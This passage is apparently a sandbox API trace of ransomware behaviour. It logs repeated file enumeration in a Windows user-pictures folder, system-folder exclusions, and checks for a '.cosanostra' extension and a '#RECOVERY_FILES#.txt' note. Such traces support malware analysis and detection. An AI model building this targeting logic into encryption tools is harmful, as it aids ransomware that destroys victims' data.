(lpString="$Recycle.bin") returned 12 [0081.293] lstrcmpiW (lpString1="usertile22.bmp", lpString2="System Volume Information") returned 1 [0081.293] lstrlenW (lpString="System Volume Information") returned 25 [0081.293] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile22.bmp") returned 82 [0081.293] StrStrIW (lpFirst="usertile22.bmp", lpSrch=".cosanostra") returned 0x0 [0081.293] lstrcmpW (lpString1="usertile22.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.293] lstrcmpW (lpString1="usertile22.bmp", lpString2="_uninstalling_.png") returned 1 [0081.293] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile22.bmp") returned 82 [0081.293] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.293] lstrcmpiW (lpString1="usertile23.bmp", lpString2="Windows") returned -1 [0081.293] lstrlenW (lpString="Windows") returned 7 [0081.293] lstrcmpiW (lpString1="usertile23.bmp", lpString2="Program Files") returned 1 [0081.293] lstrlenW (lpString="Program Files") returned 13 [0081.293] lstrcmpiW (lpString1="usertile23.bmp", lpString2="Program Files (x86)") returned 1 [0081.293] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.293] lstrcmpiW (lpString1="usertile23.bmp", lpString2="$Recycle.bin") returned 1 [0081.293] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.293] lstrcmpiW (lpString1="usertile23.bmp", lpString2="System Volume Information") returned 1 [0081.293] lstrlenW (lpString="System Volume Information") returned 25 [0081.293] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile23.bmp") returned 82 [0081.293] StrStrIW (lpFirst="usertile23.bmp", lpSrch=".cosanostra") returned 0x0 [0081.293] lstrcmpW (lpString1="usertile23.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.293] lstrcmpW (lpString1="usertile23.bmp", lpString2="_uninstalling_.png") returned 1 [0081.293] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile23.bmp") returned 82 [0081.294] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.294] lstrcmpiW (lpString1="usertile24.bmp", lpString2="Windows") returned -1 [0081.294] lstrlenW (lpString="Windows") returned 7 [0081.294] lstrcmpiW (lpString1="usertile24.bmp", lpString2="Program Files") returned 1 [0081.294] lstrlenW (lpString="Program Files") returned 13 [0081.294] lstrcmpiW (lpString1="usertile24.bmp", lpString2="Program Files (x86)") returned 1 [0081.294] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.294] lstrcmpiW (lpString1="usertile24.bmp", lpString2="$Recycle.bin") returned 1 [0081.294] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.294] lstrcmpiW (lpString1="usertile24.bmp", lpString2="System Volume Information") returned 1 [0081.294] lstrlenW (lpString="System Volume Information") returned 25 [0081.294] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile24.bmp") returned 82 [0081.294] StrStrIW (lpFirst="usertile24.bmp", lpSrch=".cosanostra") returned 0x0 [0081.294] lstrcmpW (lpString1="usertile24.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.294] lstrcmpW (lpString1="usertile24.bmp", lpString2="_uninstalling_.png") returned 1 [0081.294] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile24.bmp") returned 82 [0081.294] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.294] lstrcmpiW (lpString1="usertile25.bmp", lpString2="Windows") returned -1 [0081.294] lstrlenW (lpString="Windows") returned 7 [0081.294] lstrcmpiW (lpString1="usertile25.bmp", lpString2="Program Files") returned 1 [0081.294] lstrlenW (lpString="Program Files") returned 13 [0081.294] lstrcmpiW (lpString1="usertile25.bmp", lpString2="Program Files (x86)") returned 1 [0081.294] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.294] lstrcmpiW (lpString1="usertile25.bmp", lpString2="$Recycle.bin") returned 1 [0081.294] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.294] lstrcmpiW (lpString1="usertile25.bmp", lpString2="System Volume Information") returned 1 [0081.294] lstrlenW (lpString="System Volume Information") returned 25 [0081.294] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile25.bmp") returned 82 [0081.294] StrStrIW (lpFirst="usertile25.bmp", lpSrch=".cosanostra") returned 0x0 [0081.294] lstrcmpW (lpString1="usertile25.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.294] lstrcmpW (lpString1="usertile25.bmp", lpString2="_uninstalling_.png") returned 1 [0081.294] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile25.bmp") returned 82 [0081.294] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.294] lstrcmpiW (lpString1="usertile26.bmp", lpString2="Windows") returned -1 [0081.294] lstrlenW (lpString="Windows") returned 7 [0081.294] lstrcmpiW (lpString1="usertile26.bmp", lpString2="Program Files") returned 1 [0081.294] lstrlenW (lpString="Program Files") returned 13 [0081.294] lstrcmpiW (lpString1="usertile26.bmp", lpString2="Program Files (x86)") returned 1 [0081.294] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.294] lstrcmpiW (lpString1="usertile26.bmp", lpString2="$Recycle.bin") returned 1 [0081.294] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.294] lstrcmpiW (lpString1="usertile26.bmp", lpString2="System Volume Information") returned 1 [0081.294] lstrlenW (lpString="System Volume Information") returned 25 [0081.294] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile26.bmp") returned 82 [0081.294] StrStrIW (lpFirst="usertile26.bmp", lpSrch=".cosanostra") returned 0x0 [0081.295] lstrcmpW (lpString1="usertile26.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.295] lstrcmpW (lpString1="usertile26.bmp", lpString2="_uninstalling_.png") returned 1 [0081.295] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile26.bmp") returned 82 [0081.295] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.295] lstrcmpiW (lpString1="usertile27.bmp", lpString2="Windows") returned -1 [0081.295] lstrlenW (lpString="Windows") returned 7 [0081.295] lstrcmpiW (lpString1="usertile27.bmp", lpString2="Program Files") returned 1 [0081.295] lstrlenW (lpString="Program Files") returned 13 [0081.295] lstrcmpiW (lpString1="usertile27.bmp", lpString2="Program Files (x86)") returned 1 [0081.295] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.295] lstrcmpiW (lpString1="usertile27.bmp", lpString2="$Recycle.bin") returned 1 [0081.295] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.295] lstrcmpiW (lpString1="usertile27.bmp", lpString2="System Volume Information") returned 1 [0081.295] lstrlenW (lpString="System Volume Information") returned 25 [0081.295] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile27.bmp") returned 82 [0081.295] StrStrIW (lpFirst="usertile27.bmp", lpSrch=".cosanostra") returned 0x0 [0081.295] lstrcmpW (lpString1="usertile27.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.295] lstrcmpW (lpString1="usertile27.bmp", lpString2="_uninstalling_.png") returned 1 [0081.295] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile27.bmp") returned 82 [0081.295] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.295] lstrcmpiW (lpString1="usertile28.bmp", lpString2="Windows") returned -1 [0081.295] lstrlenW (lpString="Windows") returned 7 [0081.295] lstrcmpiW (lpString1="usertile28.bmp", lpString2="Program Files") returned 1 [0081.295] lstrlenW (lpString="Program Files") returned 13 [0081.295] lstrcmpiW (lpString1="usertile28.bmp", lpString2="Program Files (x86)") returned 1 [0081.295] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.295] lstrcmpiW (lpString1="usertile28.bmp", lpString2="$Recycle.bin") returned 1 [0081.295] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.295] lstrcmpiW (lpString1="usertile28.bmp", lpString2="System Volume Information") returned 1 [0081.295] lstrlenW (lpString="System Volume Information") returned 25 [0081.295] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile28.bmp") returned 82 [0081.295] StrStrIW (lpFirst="usertile28.bmp", lpSrch=".cosanostra") returned 0x0 [0081.295] lstrcmpW (lpString1="usertile28.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.295] lstrcmpW (lpString1="usertile28.bmp", lpString2="_uninstalling_.png") returned 1 [0081.295] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile28.bmp") returned 82 [0081.295] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.295] lstrcmpiW (lpString1="usertile29.bmp", lpString2="Windows") returned -1 [0081.295] lstrlenW (lpString="Windows") returned 7 [0081.295] lstrcmpiW (lpString1="usertile29.bmp", lpString2="Program Files") returned 1 [0081.295] lstrlenW (lpString="Program Files") returned 13 [0081.295] lstrcmpiW (lpString1="usertile29.bmp", lpString2="Program Files (x86)") returned 1 [0081.295] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.295] lstrcmpiW (lpString1="usertile29.bmp", lpString2="$Recycle.bin") returned 1 [0081.295] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.295] lstrcmpiW (lpString1="usertile29.bmp", lpString2="System Volume Information") returned 1 [0081.295] lstrlenW (lpString="System Volume Information") returned 25 [0081.295] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile29.bmp") returned 82 [0081.295] StrStrIW (lpFirst="usertile29.bmp", lpSrch=".cosanostra") returned 0x0 [0081.296] lstrcmpW (lpString1="usertile29.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.296] lstrcmpW (lpString1="usertile29.bmp", lpString2="_uninstalling_.png") returned 1 [0081.296] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile29.bmp") returned 82 [0081.296] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.296] lstrcmpiW (lpString1="usertile30.bmp", lpString2="Windows") returned -1 [0081.296] lstrlenW (lpString="Windows") returned 7 [0081.296] lstrcmpiW (lpString1="usertile30.bmp", lpString2="Program Files") returned 1 [0081.296] lstrlenW (lpString="Program Files") returned 13 [0081.296] lstrcmpiW (lpString1="usertile30.bmp", lpString2="Program Files (x86)") returned 1 [0081.296] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.296] lstrcmpiW (lpString1="usertile30.bmp", lpString2="$Recycle.bin") returned 1 [0081.296] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.296] lstrcmpiW (lpString1="usertile30.bmp", lpString2="System Volume Information") returned 1 [0081.296] lstrlenW (lpString="System Volume Information") returned 25 [0081.296] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile30.bmp") returned 82 [0081.296] StrStrIW (lpFirst="usertile30.bmp", lpSrch=".cosanostra") returned 0x0 [0081.296] lstrcmpW (lpString1="usertile30.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.296] lstrcmpW (lpString1="usertile30.bmp", lpString2="_uninstalling_.png") returned 1 [0081.296] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile30.bmp") returned 82 [0081.296] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.296] lstrcmpiW (lpString1="usertile31.bmp", lpString2="Windows") returned -1 [0081.296] lstrlenW (lpString="Windows") returned 7 [0081.296] lstrcmpiW (lpString1="usertile31.bmp", lpString2="Program Files") returned 1 [0081.296] lstrlenW (lpString="Program Files") returned 13 [0081.296] lstrcmpiW (lpString1="usertile31.bmp", lpString2="Program Files (x86)") returned 1 [0081.296] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.296] lstrcmpiW (lpString1="usertile31.bmp", lpString2="$Recycle.bin") returned 1 [0081.296] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.296] lstrcmpiW (lpString1="usertile31.bmp", lpString2="System Volume Information") returned 1 [0081.296] lstrlenW (lpString="System Volume Information") returned 25 [0081.296] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile31.bmp") returned 82 [0081.296] StrStrIW (lpFirst="usertile31.bmp", lpSrch=".cosanostra") returned 0x0 [0081.296] lstrcmpW (lpString1="usertile31.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.296] lstrcmpW (lpString1="usertile31.bmp", lpString2="_uninstalling_.png") returned 1 [0081.296] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile31.bmp") returned 82 [0081.296] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.296] lstrcmpiW (lpString1="usertile32.bmp", lpString2="Windows") returned -1 [0081.296] lstrlenW (lpString="Windows") returned 7 [0081.296] lstrcmpiW (lpString1="usertile32.bmp", lpString2="Program Files") returned 1 [0081.296] lstrlenW (lpString="Program Files") returned 13 [0081.296] lstrcmpiW (lpString1="usertile32.bmp", lpString2="Program Files (x86)") returned 1 [0081.296] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.296] lstrcmpiW (lpString1="usertile32.bmp", lpString2="$Recycle.bin") returned 1 [0081.296] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.296] lstrcmpiW (lpString1="usertile32.bmp", lpString2="System Volume Information") returned 1 [0081.296] lstrlenW (lpString="System Volume Information") returned 25 [0081.296] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile32.bmp") returned 82 [0081.296] StrStrIW (lpFirst="usertile32.bmp", lpSrch=".cosanostra") returned 0x0 [0081.297] lstrcmpW (lpString1="usertile32.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.297] lstrcmpW (lpString1="usertile32.bmp", lpString2="_uninstalling_.png") returned 1 [0081.297] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile32.bmp") returned 82 [0081.297] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.297] lstrcmpiW (lpString1="usertile33.bmp", lpString2="Windows") returned -1 [0081.297] lstrlenW (lpString="Windows") returned 7 [0081.297] lstrcmpiW (lpString1="usertile33.bmp", lpString2="Program Files") returned 1 [0081.297] lstrlenW (lpString="Program Files") returned 13 [0081.297] lstrcmpiW (lpString1="usertile33.bmp", lpString2="Program Files (x86)") returned 1 [0081.297] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.297] lstrcmpiW (lpString1="usertile33.bmp", lpString2="$Recycle.bin") returned 1 [0081.297] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.297] lstrcmpiW (lpString1="usertile33.bmp", lpString2="System Volume Information") returned 1 [0081.297] lstrlenW (lpString="System Volume Information") returned 25 [0081.297] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile33.bmp") returned 82 [0081.297] StrStrIW (lpFirst="usertile33.bmp", lpSrch=".cosanostra") returned 0x0 [0081.297] lstrcmpW (lpString1="usertile33.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.297] lstrcmpW (lpString1="usertile33.bmp", lpString2="_uninstalling_.png") returned 1 [0081.297] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile33.bmp") returned 82 [0081.297] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.297] lstrcmpiW (lpString1="usertile34.bmp", lpString2="Windows") returned -1 [0081.297] lstrlenW (lpString="Windows") returned 7 [0081.297] lstrcmpiW (lpString1="usertile34.bmp", lpString2="Program Files") returned 1 [0081.297] lstrlenW (lpString="Program Files") returned 13 [0081.297] lstrcmpiW (lpString1="usertile34.bmp", lpString2="Program Files (x86)") returned 1 [0081.297] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.297] lstrcmpiW (lpString1="usertile34.bmp", lpString2="$Recycle.bin") returned 1 [0081.297] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.297] lstrcmpiW (lpString1="usertile34.bmp", lpString2="System Volume Information") returned 1 [0081.297] lstrlenW (lpString="System Volume Information") returned 25 [0081.297] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile34.bmp") returned 82 [0081.297] StrStrIW (lpFirst="usertile34.bmp", lpSrch=".cosanostra") returned 0x0 [0081.297] lstrcmpW (lpString1="usertile34.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.297] lstrcmpW (lpString1="usertile34.bmp", lpString2="_uninstalling_.png") returned 1 [0081.297] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile34.bmp") returned 82 [0081.297] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.297] lstrcmpiW (lpString1="usertile35.bmp", lpString2="Windows") returned -1 [0081.297] lstrlenW (lpString="Windows") returned 7 [0081.297] lstrcmpiW (lpString1="usertile35.bmp", lpString2="Program Files") returned 1 [0081.297] lstrlenW (lpString="Program Files") returned 13 [0081.297] lstrcmpiW (lpString1="usertile35.bmp", lpString2="Program Files (x86)") returned 1 [0081.297] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.297] lstrcmpiW (lpString1="usertile35.bmp", lpString2="$Recycle.bin") returned 1 [0081.297] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.297] lstrcmpiW (lpString1="usertile35.bmp", lpString2="System Volume Information") returned 1 [0081.297] lstrlenW (lpString="System Volume Information") returned 25 [0081.297] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile35.bmp") returned 82 [0081.297] StrStrIW (lpFirst="usertile35.bmp", lpSrch=".cosanostra") returned 0x0 [0081.298] lstrcmpW (lpString1="usertile35.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.298] lstrcmpW (lpString1="usertile35.bmp", lpString2="_uninstalling_.png") returned 1 [0081.298] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile35.bmp") returned 82 [0081.298] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.298] lstrcmpiW (lpString1="usertile36.bmp", lpString2="Windows") returned -1 [0081.298] lstrlenW (lpString="Windows") returned 7 [0081.298] lstrcmpiW (lpString1="usertile36.bmp", lpString2="Program Files") returned 1 [0081.298] lstrlenW (lpString="Program Files") returned 13 [0081.298] lstrcmpiW (lpString1="usertile36.bmp", lpString2="Program Files (x86)") returned 1 [0081.298] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.298] lstrcmpiW (lpString1="usertile36.bmp", lpString2="$Recycle.bin") returned 1 [0081.298] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.298] lstrcmpiW (lpString1="usertile36.bmp", lpString2="System Volume Information") returned 1 [0081.298] lstrlenW (lpString="System Volume Information") returned 25 [0081.298] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile36.bmp") returned 82 [0081.298] StrStrIW (lpFirst="usertile36.bmp", lpSrch=".cosanostra") returned 0x0 [0081.298] lstrcmpW (lpString1="usertile36.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.298] lstrcmpW (lpString1="usertile36.bmp", lpString2="_uninstalling_.png") returned 1 [0081.298] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile36.bmp") returned 82 [0081.298] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.298] lstrcmpiW (lpString1="usertile37.bmp", lpString2="Windows") returned -1 [0081.298] lstrlenW (lpString="Windows") returned 7 [0081.298] lstrcmpiW (lpString1="usertile37.bmp", lpString2="Program Files") returned 1 [0081.298] lstrlenW (lpString="Program Files") returned 13 [0081.298] lstrcmpiW (lpString1="usertile37.bmp", lpString2="Program Files (x86)") returned 1 [0081.298] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.298] lstrcmpiW (lpString1="usertile37.bmp", lpString2="$Recycle.bin") returned 1 [0081.298] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.298] lstrcmpiW (lpString1="usertile37.bmp", lpString2="System Volume Information") returned 1 [0081.298] lstrlenW (lpString="System Volume Information") returned 25 [0081.298] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile37.bmp") returned 82 [0081.298] StrStrIW (lpFirst="usertile37.bmp", lpSrch=".cosanostra") returned 0x0 [0081.298] lstrcmpW (lpString1="usertile37.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.298] lstrcmpW (lpString1="usertile37.bmp", lpString2="_uninstalling_.png") returned 1 [0081.298] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile37.bmp") returned 82 [0081.298] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.298] lstrcmpiW (lpString1="usertile38.bmp", lpString2="Windows") returned -1 [0081.298] lstrlenW (lpString="Windows") returned 7 [0081.298] lstrcmpiW (lpString1="usertile38.bmp", lpString2="Program Files") returned 1 [0081.298] lstrlenW (lpString="Program Files") returned 13 [0081.298] lstrcmpiW (lpString1="usertile38.bmp", lpString2="Program Files (x86)") returned 1 [0081.298] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.298] lstrcmpiW (lpString1="usertile38.bmp", lpString2="$Recycle.bin") returned 1 [0081.298] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.298] lstrcmpiW (lpString1="usertile38.bmp", lpString2="System Volume Information") returned 1 [0081.298] lstrlenW (lpString="System Volume Information") returned 25 [0081.298] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile38.bmp") returned 82 [0081.299] StrStrIW (lpFirst="usertile38.bmp", lpSrch=".cosanostra") returned 0x0 [0081.299] lstrcmpW (lpString1="usertile38.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.299] lstrcmpW (lpString1="usertile38.bmp", lpString2="_uninstalling_.png") returned 1 [0081.299] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile38.bmp") returned 82 [0081.299] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.299] lstrcmpiW (lpString1="usertile39.bmp", lpString2="Windows") returned -1 [0081.299] lstrlenW (lpString="Windows") returned 7 [0081.299] lstrcmpiW (lpString1="usertile39.bmp", lpString2="Program Files") returned 1 [0081.299] lstrlenW (lpString="Program Files") returned 13 [0081.299] lstrcmpiW (lpString1="usertile39.bmp", lpString2="Program Files (x86)") returned 1 [0081.299] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.299] lstrcmpiW (lpString1="usertile39.bmp", lpString2="$Recycle.bin") returned 1 [0081.299] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.299] lstrcmpiW (lpString1="usertile39.bmp", lpString2="System Volume Information") returned 1 [0081.299] lstrlenW (lpString="System Volume Information") returned 25 [0081.299] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile39.bmp") returned 82 [0081.299] StrStrIW (lpFirst="usertile39.bmp", lpSrch=".cosanostra") returned 0x0 [0081.299] lstrcmpW (lpString1="usertile39.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.299] lstrcmpW (lpString1="usertile39.bmp", lpString2="_uninstalling_.png") returned 1 [0081.299] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile39.bmp") returned 82 [0081.299] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.299] lstrcmpiW (lpString1="usertile40.bmp", lpString2="Windows") returned -1 [0081.299] lstrlenW (lpString="Windows") returned 7 [0081.299] lstrcmpiW (lpString1="usertile40.bmp", lpString2="Program Files") returned 1 [0081.299] lstrlenW (lpString="Program Files") returned 13 [0081.300] lstrcmpiW (lpString1="usertile40.bmp", lpString2="Program Files (x86)") returned 1 [0081.300] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.300] lstrcmpiW (lpString1="usertile40.bmp", lpString2="$Recycle.bin") returned 1 [0081.300] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.300] lstrcmpiW (lpString1="usertile40.bmp", lpString2="System Volume Information") returned 1 [0081.300] lstrlenW (lpString="System Volume Information") returned 25 [0081.300] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile40.bmp") returned 82 [0081.300] StrStrIW (lpFirst="usertile40.bmp", lpSrch=".cosanostra") returned 0x0 [0081.300] lstrcmpW (lpString1="usertile40.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.300] lstrcmpW (lpString1="usertile40.bmp", lpString2="_uninstalling_.png") returned 1 [0081.300] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile40.bmp") returned 82 [0081.300] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.300] lstrcmpiW (lpString1="usertile41.bmp", lpString2="Windows") returned -1 [0081.300] lstrlenW (lpString="Windows") returned 7 [0081.300] lstrcmpiW (lpString1="usertile41.bmp", lpString2="Program Files") returned 1 [0081.300] lstrlenW (lpString="Program Files") returned 13 [0081.300] lstrcmpiW (lpString1="usertile41.bmp", lpString2="Program Files (x86)") returned 1 [0081.300] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.300] lstrcmpiW (lpString1="usertile41.bmp", lpString2="$Recycle.bin") returned 1 [0081.300] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.300] lstrcmpiW (lpString1="usertile41.bmp", lpString2="System Volume Information") returned 1 [0081.300] lstrlenW (lpString="System Volume Information") returned 25 [0081.300] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default 